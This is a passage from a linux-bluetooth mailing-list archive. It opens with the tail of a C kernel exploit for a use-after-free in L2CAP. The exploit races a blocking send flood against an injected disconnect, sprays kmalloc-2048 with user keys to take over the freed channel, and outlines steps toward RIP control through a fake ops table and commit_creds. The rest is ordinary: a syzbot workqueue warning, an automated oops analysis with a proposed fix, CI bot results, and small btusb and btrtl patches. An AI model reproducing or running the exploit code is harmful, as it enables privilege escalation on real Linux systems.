static void make_desc(char *buf, int idx){
buf[0] = 'k';
buf[1] = '0' + (idx / 100) % 10;
buf[2] = '0' + (idx / 10) % 10;
buf[3] = '0' + (idx) % 10;
buf[4] = 0;
}
static void do_spray(void){
xputs("[spray] Spraying "); xdec(N_SPRAY);
xputs(" × kmalloc-2048 objects with fake chan data...\n");
int ok = 0;
for(int i = 0; i < N_SPRAY; i++){
char desc[8]; make_desc(desc, i);
long k = sc5(SYS_add_key,
(long)"user",
(long)desc,
(long)spray_payload,
(long)SPRAY_DATALEN,
(long)KEY_SPEC_PROCESS_KEYRING);
if(k > 0) ok++;
}
xputs("[spray] "); xdec(ok); xputs("/"); xdec(N_SPRAY);
xputs(" keys allocated\n");
xputs("[spray] Freed chan slot filled — ops=NULL at +0x4A8\n");
}
/* ══════════════════════════════════════════════════════════════════════════
* CHILD: send flood
*
* With SO_SNDBUF=4096 and blocking sendmsg (no O_NONBLOCK on sock):
* - First few sends fill sk_wmem_queued
* - Next bt_skb_send_alloc call hits sk_stream_wait_memory
* - sk_stream_wait_memory releases lock_sock, sleeps
* - Thread A is now INSIDE alloc_skb_cb with chan_lock RELEASED
* - Window = sleep duration = milliseconds (vs nanoseconds before)
* - Thread B fires disconnect → kfree(chan) → spray fills slot
* - Thread A wakes → mutex_lock(freed/sprayed chan) → UAF
* ══════════════════════════════════════════════════════════════════════════ */
static void child_send_flood(int sock){
xputs("[child] Send flood: 60-byte blocking sends (SO_SNDBUF=4096)\n");
xputs("[child] bt_skb_send_alloc will block → millisecond race window\n");
uint8_t payload[60];
memset(payload, 0xBB, sizeof(payload));
for(int i = 0; i < 1000000; i++){
/* Blocking send: no MSG_DONTWAIT → bt_skb_send_alloc may sleep */
long ret = sc6(SYS_sendto, sock, (long)payload,
(long)sizeof(payload), 0L, 0L, 0L);
if(ret < 0){
long err = -ret;
if(err == 11) continue; /* EAGAIN: rare, keep going */
xputs("[child] send err="); xdec(ret); xputs("\n");
if(err == 107 || err == 9 || err == 32 || err == 104){
xputs("[child] Fatal: conn torn down (err="); xdec(err);
xputs(") — UAF window was hit\n");
break;
}
}
}
xputs("[child] flood done\n");
while(1) xsleep_ms(500);
}
/* ── Entry point ────────────────────────────────────────────────────────── */
void _start(void){
xputs("\n");
xputs("╔══════════════════════════════════════════════════════════╗\n");
xputs("║ BUG-015 UAF → RIP Control Exploit ║\n");
xputs("║ l2cap_sock_alloc_skb_cb — kmalloc-2048 spray ║\n");
xputs("║ Expected: KASAN UAF + page fault at 0x48 ║\n");
xputs("╚══════════════════════════════════════════════════════════╝\n\n");
xmount("proc", "/proc", "proc", 0);
xmount("sysfs", "/sys", "sysfs", 0);
xmount("devtmpfs", "/dev", "devtmpfs", 0);
if(open_vhci() < 0){
xputs("[!] FATAL: vhci unavailable\n"); xreboot(); while(1){}
}
/* ── Step 1: LE connection ── */
static const uint8_t BDADDR[6] = {0xAA,0xBB,0xCC,0xDD,0xEE,0x04};
static const uint16_t LE_HANDLE = 0x0004;
xputs("[*] Injecting LE_CONN_COMPLETE (handle=4)...\n");
le_conn_complete(LE_HANDLE, BDADDR);
/* ── Step 2: EXT_FLOWCTL listen + accept ── */
int sock = setup_ecred_server(LE_HANDLE);
if(sock < 0){
xputs("[!] FATAL: L2CAP setup failed\n"); xreboot(); while(1){}
}
/* ── Step 3: Set SO_SNDBUF=4096 (BLOCKING mode — widens race window)
*
* With sndbuf=4096 and 60-byte sends:
* ~68 sends fill wmem → bt_skb_send_alloc enters sk_stream_wait_memory
* → releases lock_sock + sleeps for write space
* → chan_lock is released (alloc_skb_cb called l2cap_chan_unlock)
* → Thread B can now acquire chan_lock and teardown
* → Window = sk_stream_wait_memory sleep = O(milliseconds)
*
* DO NOT set O_NONBLOCK — that collapses window to nanoseconds
*/
int sndbuf = 4096;
sc5(SYS_setsockopt, sock, SOL_SOCKET, SO_SNDBUF, (long)&sndbuf, (long)sizeof(sndbuf));
xputs("[*] SO_SNDBUF=4096 set (blocking sends for wide race window)\n");
/* ── Step 4: Build spray payload ── */
build_spray_payload();
/* ── Step 5: Fork for SMP race ── */
xputs("[*] Forking for SMP race (child=sender CPU0, parent=spray+disconnect CPU1)...\n");
long pid = sc1(SYS_fork, 0L);
if(pid == 0){
/* ══ CHILD: blocking send flood ══ */
xputs("[child] Started\n");
child_send_flood(sock);
xreboot(); while(1){}
} else {
/* ══ PARENT: wait → disconnect → spray ══
*
* Timing strategy:
* 1. Wait 50ms — child fills sk_wmem (68 × 60B = 4080B ≈ sndbuf)
* After ~68 sends child is blocking in sk_stream_wait_memory
* 2. inject_disconnect → kernel processes async:
* HCI workqueue → l2cap_conn_del → l2cap_chan_put → kfree(chan)
* 3. Immediately spray 256 keys → fills freed chan slot
* The kernel processes disconnect in ~50-500μs typically
* Our spray follows within microseconds of the vhci write
* 4. When kernel finally processes disconnect and kfree fires,
* the freed slot is already filled by our spray
* 5. Child wakes from sk_stream_wait_memory (sock write space woken
* by teardown path's sk_state_change callback)
* 6. Child calls mutex_lock(freed/sprayed chan) → UAF
*
* With kasan_multi_shot: UAF detected but execution continues:
* → chan->state (offset 16) = 0x03 from spray → passes BT_CONNECTED check
* → chan->ops (offset 1192) = NULL from spray
* → ops->suspend = *(NULL + 0x48) → page fault at 0x48
*/
xsleep_ms(50);
xputs("[parent] Child should be blocking in bt_skb_send_alloc now\n");
inject_disconnect(LE_HANDLE);
/* Spray immediately — fill freed chan slot before child wakes */
do_spray();
xputs("[parent] Spray complete — waiting for KASAN + page fault...\n");
xputs("[parent] Expected kernel output:\n");
xputs("[parent] BUG: KASAN: use-after-free in mutex_lock_nested\n");
xputs("[parent] BUG: unable to handle page fault for address: 0000000000000048\n");
xputs("[parent] → Page fault at 0x48 = NULL + offsetof(l2cap_ops, suspend)\n");
xputs("[parent] → PROVES: chan->ops fully controlled via heap spray\n");
xputs("[parent] → To achieve RIP: replace NULL with ptr to fake_l2cap_ops\n");
xputs("[parent] where fake_l2cap_ops.suspend = commit_creds gadget\n");
xsleep_ms(10000);
xputs("\n╔══════════════════════════════════════════════════════════╗\n");
xputs("║ RESULT ║\n");
xputs("║ If KASAN + 0x48 page fault seen above: EXPLOITABLE ║\n");
xputs("║ If only KASAN (no page fault): spray timing issue ║\n");
xputs("║ If neither: race not won (try again) ║\n");
xputs("╚══════════════════════════════════════════════════════════╝\n\n");
sc2(SYS_kill, pid, 9L);
sc5(SYS_wait4, -1L, 0L, 0L, 0L, 0L);
sc3(SYS_sync, 0, 0, 0);
xreboot(); while(1){}
}
}
^ permalink raw reply
* Re: [syzbot] [bluetooth?] WARNING in hci_send_cmd (4)
From: Arjan van de Ven @ 2026-04-26 19:11 UTC (permalink / raw)
To: linux-bluetooth
Cc: linux-kernel, luiz.dentz, marcel, syzbot+00f5a866124dc44cce14,
syzkaller-bugs
In-Reply-To: <69ed492c.050a0220.e51af.0005.GAE@google.com>
This email is created by automation to help kernel developers
deal with a large volume of AI generated bug reports by decoding
oopses into more actionable information.
Decoded Backtrace
1. __queue_work -- crash site (kernel/workqueue.c:2297)
2275 static void __queue_work(int cpu, struct workqueue_struct *wq,
2276 struct work_struct *work)
2277 {
2278 struct pool_workqueue *pwq;
2279 struct worker_pool *last_pool, *pool;
2280 unsigned int work_flags;
2281 unsigned int req_cpu = cpu;
2289 lockdep_assert_irqs_disabled();
2291 /*
2292 * For a draining wq, only works from the same workqueue are
2293 * allowed. The __WQ_DESTROYING helps to spot the issue that
2294 * queues a new work item to a wq after destroy_workqueue(wq).
2295 */
2296 if (unlikely(wq->flags & (__WQ_DESTROYING | __WQ_DRAINING) &&
-> 2297 WARN_ONCE(!is_chained_work(wq),
2298 "workqueue: cannot queue %ps on wq %s\n",
2299 work->func, wq->name))) {
2300 return;
2301 }
2. queue_work_on (kernel/workqueue.c:2432)
2422 bool queue_work_on(int cpu, struct workqueue_struct *wq,
2423 struct work_struct *work)
2424 {
2425 bool ret = false;
2426 unsigned long irq_flags;
2428 local_irq_save(irq_flags);
2430 if (!test_and_set_bit(WORK_STRUCT_PENDING_BIT, work_data_bits(work)) &&
2431 !clear_pending_if_disabled(work)) {
-> 2432 __queue_work(cpu, wq, work);
2433 ret = true;
2434 }
2436 local_irq_restore(irq_flags);
2437 return ret;
2438 }
3. hci_send_cmd (net/bluetooth/hci_core.c:3111)
3092 int hci_send_cmd(struct hci_dev *hdev, __u16 opcode, __u32 plen,
3093 const void *param)
3094 {
3095 struct sk_buff *skb;
3097 BT_DBG("%s opcode 0x%4.4x plen %d", hdev->name, opcode, plen);
3099 skb = hci_cmd_sync_alloc(hdev, opcode, plen, param, NULL);
3100 if (!skb) {
3101 bt_dev_err(hdev, "no memory for command");
3102 return -ENOMEM;
3103 }
3105 /* Stand-alone HCI commands must be flagged as
3106 * single-command requests.
3107 */
3108 bt_cb(skb)->hci.req_flags |= HCI_REQ_START;
3110 skb_queue_tail(&hdev->cmd_q, skb);
-> 3111 queue_work(hdev->workqueue, &hdev->cmd_work); // hdev->workqueue is __WQ_DRAINING
3113 return 0;
3114 }
Inlined caller: hci_conn_auth (net/bluetooth/hci_conn.c:2459)
2438 static int hci_conn_auth(struct hci_conn *conn, __u8 sec_level,
2439 __u8 auth_type)
2440 {
2454 if (!test_and_set_bit(HCI_CONN_AUTH_PEND, &conn->flags)) {
2455 struct hci_cp_auth_requested cp;
2456 cp.handle = cpu_to_le16(conn->handle);
-> 2459 hci_send_cmd(conn->hdev, HCI_OP_AUTH_REQUESTED,
2460 sizeof(cp), &cp);
2461 }
2464 return 0;
2465 }
4. hci_conn_security (net/bluetooth/hci_conn.c:2551)
2487 int hci_conn_security(struct hci_conn *conn, __u8 sec_level,
2488 __u8 auth_type, bool initiator)
2489 {
2544 auth:
2548 if (initiator)
2549 set_bit(HCI_CONN_AUTH_INITIATOR, &conn->flags);
-> 2551 if (!hci_conn_auth(conn, sec_level, auth_type))
2552 return 0;
2563 }
5. l2cap_info_timeout (net/bluetooth/l2cap_core.c:1685)
-- running on the 'events' workqueue, NOT on hdev->workqueue
1675 static void l2cap_info_timeout(struct work_struct *work)
1676 {
1677 struct l2cap_conn *conn = container_of(work, struct l2cap_conn,
1678 info_timer.work);
1680 conn->info_state |= L2CAP_INFO_FEAT_MASK_REQ_DONE;
1681 conn->info_ident = 0;
1683
1684 mutex_lock(&conn->lock);
-> 1685 l2cap_conn_start(conn);
1686 mutex_unlock(&conn->lock);
1687 }
Tentative Analysis
The WARNING fires in __queue_work() at kernel/workqueue.c:2297 when
hci_send_cmd() attempts to queue hci_cmd_work onto hdev->workqueue
after that workqueue has entered the draining or destroying state.
The call chain is:
l2cap_info_timeout (events wq)
-> l2cap_conn_start
-> hci_conn_security
-> hci_conn_auth [inlined]
-> hci_send_cmd
-> queue_work(hdev->workqueue, &hdev->cmd_work) // <-
The race arises in hci_dev_close_sync() (net/bluetooth/hci_sync.c):
1. HCI_UP is cleared with test_and_clear_bit(HCI_UP, ...).
2. drain_workqueue(hdev->workqueue) is called -- sets __WQ_DRAINING.
3. hci_conn_hash_flush() -> l2cap_conn_del() ->
disable_delayed_work_sync(&conn->info_timer) -- cancels the timer.
The l2cap_info_timeout callback runs on the 'events' workqueue, which
is entirely separate from hdev->workqueue. Draining hdev->workqueue
has no effect on pending events workqueue items. If the
l2cap_info_timeout work item was already queued on the events
workqueue before step 3 cancels it, the timeout fires in the window
between steps 2 and 3, reaching hci_send_cmd with hdev->workqueue
already in the __WQ_DRAINING state.
hci_send_cmd() does not check HCI_UP before calling queue_work(),
unlike hci_recv_frame() and the hci_dev_ioctl() handler, which both
guard with test_bit(HCI_UP, &hdev->flags).
Potential Solution
Add the same HCI_UP guard to hci_send_cmd() that already exists in
hci_recv_frame() and hci_dev_ioctl():
if (!test_bit(HCI_UP, &hdev->flags))
return -ENETDOWN;
Place this check at the top of hci_send_cmd(), before the skb
allocation. Since HCI_UP is cleared before drain_workqueue() in
hci_dev_close_sync(), this guard catches the race without introducing
any resource leak, lock imbalance, or side effects on callers.
More information
Oops-Analysis: http://oops.fenrus.org/reports/lkml/69ed492c.050a0220.e51af.0005.GAE_google.com/
Assisted-by: GitHub Copilot linux-kernel-oops-x86.
^ permalink raw reply
* [syzbot] [bluetooth?] WARNING in hci_send_cmd (4)
From: syzbot @ 2026-04-25 23:07 UTC (permalink / raw)
To: linux-bluetooth, linux-kernel, luiz.dentz, marcel, syzkaller-bugs
Hello,
syzbot found the following issue on:
HEAD commit: b4e07588e743 tracing: tell git to ignore the generated 'un..
git tree: upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=1768ac36580000
kernel config: https://syzkaller.appspot.com/x/.config?x=f17ac3d4b47ac43a
dashboard link: https://syzkaller.appspot.com/bug?extid=00f5a866124dc44cce14
compiler: Debian clang version 21.1.8 (++20251221033036+2078da43e25a-1~exp1~20251221153213.50), Debian LLD 21.1.8
Unfortunately, I don't have any reproducer for this issue yet.
Downloadable assets:
disk image (non-bootable): https://storage.googleapis.com/syzbot-assets/d900f083ada3/non_bootable_disk-b4e07588.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/a3832abcd2f7/vmlinux-b4e07588.xz
kernel image: https://storage.googleapis.com/syzbot-assets/0b5d6e6e9cbd/bzImage-b4e07588.xz
IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+00f5a866124dc44cce14@syzkaller.appspotmail.com
workqueue: cannot queue hci_cmd_work on wq hci0
WARNING: kernel/workqueue.c:2298 at __queue_work+0xd1f/0xfc0 kernel/workqueue.c:2296, CPU#0: kworker/0:3/1378
Modules linked in:
CPU: 0 UID: 0 PID: 1378 Comm: kworker/0:3 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: events l2cap_info_timeout
RIP: 0010:__queue_work+0xd4a/0xfc0 kernel/workqueue.c:2296
Code: 83 c5 18 4c 89 e8 48 c1 e8 03 42 80 3c 20 00 74 08 4c 89 ef e8 17 4d a5 00 49 8b 75 00 49 81 c7 70 01 00 00 4c 89 f7 4c 89 fa <67> 48 0f b9 3a 48 83 c4 58 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc
RSP: 0018:ffffc9000257f720 EFLAGS: 00010082
RAX: 1ffff110081cc181 RBX: 0000000000000008 RCX: ffff888000260000
RDX: ffff888040182170 RSI: ffffffff8aa9ccd0 RDI: ffffffff90368d70
RBP: 0000000000000020 R08: ffff888040e60bf7 R09: 1ffff110081cc17e
R10: dffffc0000000000 R11: ffffed10081cc17f R12: dffffc0000000000
R13: ffff888040e60c08 R14: ffffffff90368d70 R15: ffff888040182170
FS: 0000000000000000(0000) GS:ffff88808c80c000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000200000005dc0 CR3: 0000000012a31000 CR4: 0000000000352ef0
Call Trace:
<TASK>
queue_work_on+0x106/0x1d0 kernel/workqueue.c:2432
queue_work include/linux/workqueue.h:696 [inline]
hci_send_cmd+0xb7/0x1a0 net/bluetooth/hci_core.c:3111
hci_conn_auth net/bluetooth/hci_conn.c:2459 [inline]
hci_conn_security+0x599/0xa80 net/bluetooth/hci_conn.c:2551
l2cap_conn_start+0x3bc/0xf20 net/bluetooth/l2cap_core.c:1534
l2cap_info_timeout+0x68/0xa0 net/bluetooth/l2cap_core.c:1685
process_one_work kernel/workqueue.c:3302 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3385
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3466
kthread+0x388/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
</TASK>
----------------
Code disassembly (best guess):
0: 83 c5 18 add $0x18,%ebp
3: 4c 89 e8 mov %r13,%rax
6: 48 c1 e8 03 shr $0x3,%rax
a: 42 80 3c 20 00 cmpb $0x0,(%rax,%r12,1)
f: 74 08 je 0x19
11: 4c 89 ef mov %r13,%rdi
14: e8 17 4d a5 00 call 0xa54d30
19: 49 8b 75 00 mov 0x0(%r13),%rsi
1d: 49 81 c7 70 01 00 00 add $0x170,%r15
24: 4c 89 f7 mov %r14,%rdi
27: 4c 89 fa mov %r15,%rdx
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: 48 83 c4 58 add $0x58,%rsp
33: 5b pop %rbx
34: 41 5c pop %r12
36: 41 5d pop %r13
38: 41 5e pop %r14
3a: 41 5f pop %r15
3c: 5d pop %rbp
3d: c3 ret
3e: cc int3
3f: cc int3
---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.
syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title
If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)
If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report
If you want to undo deduplication, reply with:
#syz undup
^ permalink raw reply
* RE: [v2] Bluetooth: btusb: Add TP-Link UB600 for Realtek 8761BUV
From: bluez.test.bot @ 2026-04-25 19:39 UTC (permalink / raw)
To: linux-bluetooth, nils.helmig
In-Reply-To: <20260425185659.13133-1-nils.helmig@web.de>
[-- Attachment #1: Type: text/plain, Size: 882 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085542
---Test result---
Test Summary:
CheckPatch PASS 0.73 seconds
GitLint PASS 0.33 seconds
SubjectPrefix PASS 0.13 seconds
BuildKernel PASS 24.73 seconds
CheckAllWarning PASS 27.58 seconds
CheckSparse PASS 26.25 seconds
BuildKernel32 PASS 24.07 seconds
TestRunnerSetup PASS 526.83 seconds
IncrementalBuild PASS 24.34 seconds
https://github.com/bluez/bluetooth-next/pull/127
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH v2] Bluetooth: btusb: Add TP-Link UB600 for Realtek 8761BUV
From: Nils Helmig @ 2026-04-25 18:56 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Marcel Holtmann, Luiz Augusto von Dentz, Nils Helmig
Add the vendor/product ID (0x37ad, 0x0600) to usb_device_id table
for Realtek 8761BUV.
The device info from /sys/kernel/debug/usb/devices as below.
T: Bus=03 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=37ad ProdID=0600 Rev= 2.00
S: Manufacturer=
S: Product=TP-Link Bluetooth USB Adapter
S: SerialNumber=ACA7F14FD2A5
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=500mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
Signed-off-by: Nils Helmig <nils.helmig@web.de>
---
drivers/bluetooth/btusb.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index 572091e601f9..2570ebc6ad9c 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -840,6 +840,8 @@ static const struct usb_device_id quirks_table[] = {
BTUSB_WIDEBAND_SPEECH },
{ USB_DEVICE(0x2b89, 0x6275), .driver_info = BTUSB_REALTEK |
BTUSB_WIDEBAND_SPEECH },
+ { USB_DEVICE(0x37ad, 0x0600), .driver_info = BTUSB_REALTEK |
+ BTUSB_WIDEBAND_SPEECH },
/* Additional Realtek 8821AE Bluetooth devices */
{ USB_DEVICE(0x0b05, 0x17dc), .driver_info = BTUSB_REALTEK },
--
2.54.0
^ permalink raw reply related
* RE: Bluetooth: btrtl: fix uninitialized scalar value
From: bluez.test.bot @ 2026-04-25 18:38 UTC (permalink / raw)
To: linux-bluetooth, agarrigues
In-Reply-To: <aez_LiwkX9oS_Nty@lal>
[-- Attachment #1: Type: text/plain, Size: 882 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085529
---Test result---
Test Summary:
CheckPatch PASS 0.74 seconds
GitLint PASS 0.35 seconds
SubjectPrefix PASS 0.13 seconds
BuildKernel PASS 26.84 seconds
CheckAllWarning PASS 29.70 seconds
CheckSparse PASS 28.22 seconds
BuildKernel32 PASS 26.14 seconds
TestRunnerSetup PASS 577.33 seconds
IncrementalBuild PASS 26.22 seconds
https://github.com/bluez/bluetooth-next/pull/126
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH] Bluetooth: btrtl: fix uninitialized scalar value
From: Alonso Garrigues @ 2026-04-25 17:51 UTC (permalink / raw)
To: Marcel Holtmann, Luiz Augusto von Dentz; +Cc: linux-bluetooth, linux-kernel
There is a path where the variable is read uninitialized:
If the opcode switch case is RTL_PATCH_SECURITY_HEADER and key_id is
not set, the if statement condition immediately following the switch
checks an uninitialized rc
Signed-off-by: Alonso Garrigues <agarrigues@riseup.net>
---
drivers/bluetooth/btrtl.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/bluetooth/btrtl.c b/drivers/bluetooth/btrtl.c
index 62f9d4df3a4f..aa0d5af26b5f 100644
--- a/drivers/bluetooth/btrtl.c
+++ b/drivers/bluetooth/btrtl.c
@@ -543,7 +543,7 @@ static int rtlbt_parse_firmware_v2(struct hci_dev *hdev,
unsigned char **_buf)
{
struct rtl_epatch_header_v2 *hdr;
- int rc;
+ int rc = 0;
u8 key_id;
u32 num_sections;
struct rtl_section *section;
--
2.53.0
^ permalink raw reply related
* RE: Bluetooth: btusb: Add TP-Link UB600 for Realtek 8761BUV
From: bluez.test.bot @ 2026-04-25 17:39 UTC (permalink / raw)
To: linux-bluetooth, nils.helmig
In-Reply-To: <3eb4038c-9f2c-4d53-86d6-f3ccbb7b37db@web.de>
[-- Attachment #1: Type: text/plain, Size: 478 bytes --]
This is an automated email and please do not reply to this email.
Dear Submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.
----- Output -----
error: corrupt patch at line 18
hint: Use 'git am --show-current-patch' to see the failed patch
Please resolve the issue and submit the patches again.
---
Regards,
Linux Bluetooth
^ permalink raw reply
* RE: drivers: bluetooth: fix uninitialized scalar variable
From: bluez.test.bot @ 2026-04-25 17:25 UTC (permalink / raw)
To: linux-bluetooth, agarrigues
In-Reply-To: <aezuBuQca26r4a7l@lal>
[-- Attachment #1: Type: text/plain, Size: 1057 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085521
---Test result---
Test Summary:
CheckPatch PASS 0.57 seconds
GitLint PASS 0.25 seconds
SubjectPrefix FAIL 0.08 seconds
BuildKernel PASS 27.12 seconds
CheckAllWarning PASS 29.39 seconds
CheckSparse PASS 28.56 seconds
BuildKernel32 PASS 26.28 seconds
TestRunnerSetup PASS 567.61 seconds
IncrementalBuild PASS 24.54 seconds
Details
##############################
Test: SubjectPrefix - FAIL
Desc: Check subject contains "Bluetooth" prefix
Output:
"Bluetooth: " prefix is not specified in the subject
https://github.com/bluez/bluetooth-next/pull/125
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH] Bluetooth: btusb: Add TP-Link UB600 for Realtek 8761BUV
From: Nils Helmig @ 2026-04-25 17:10 UTC (permalink / raw)
To: linux-bluetooth; +Cc: Marcel Holtmann, Luiz Augusto von Dentz
In-Reply-To: <0154e5ca-b75a-4ded-a7a7-dc990422e11a@web.de>
Add the vendor/product ID (0x37ad, 0x0600) to usb_device_id table
for Realtek 8761BUV.
The device info from /sys/kernel/debug/usb/devices as below.
T: Bus=03 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=37ad ProdID=0600 Rev= 2.00
S: Manufacturer=
S: Product=TP-Link Bluetooth USB Adapter
S: SerialNumber=ACA7F14FD2A5
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=500mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
Signed-off-by: Nils Helmig <nils.helmig@web.de>
---
drivers/bluetooth/btusb.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
index 572091e601f9..2570ebc6ad9c 100644
--- a/drivers/bluetooth/btusb.c
+++ b/drivers/bluetooth/btusb.c
@@ -840,6 +840,8 @@ static const struct usb_device_id quirks_table[] = {
BTUSB_WIDEBAND_SPEECH },
{ USB_DEVICE(0x2b89, 0x6275), .driver_info = BTUSB_REALTEK |
BTUSB_WIDEBAND_SPEECH },
+ { USB_DEVICE(0x37ad, 0x0600), .driver_info = BTUSB_REALTEK |
+ BTUSB_WIDEBAND_SPEECH },
/* Additional Realtek 8821AE Bluetooth devices */
{ USB_DEVICE(0x0b05, 0x17dc), .driver_info = BTUSB_REALTEK },
--
2.54.0
^ permalink raw reply related
* [PATCH] drivers: bluetooth: fix uninitialized scalar variable
From: Alonso Garrigues @ 2026-04-25 16:38 UTC (permalink / raw)
To: Marcel Holtmann, Luiz Augusto von Dentz, linux-bluetooth,
linux-kernel
There is a path where the variable is read uninitialized,
in case RTL_PATCH_SECURITY_HEADER and !key_id
Signed-off-by: Alonso Garrigues <agarrigues@riseup.net>
---
drivers/bluetooth/btrtl.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
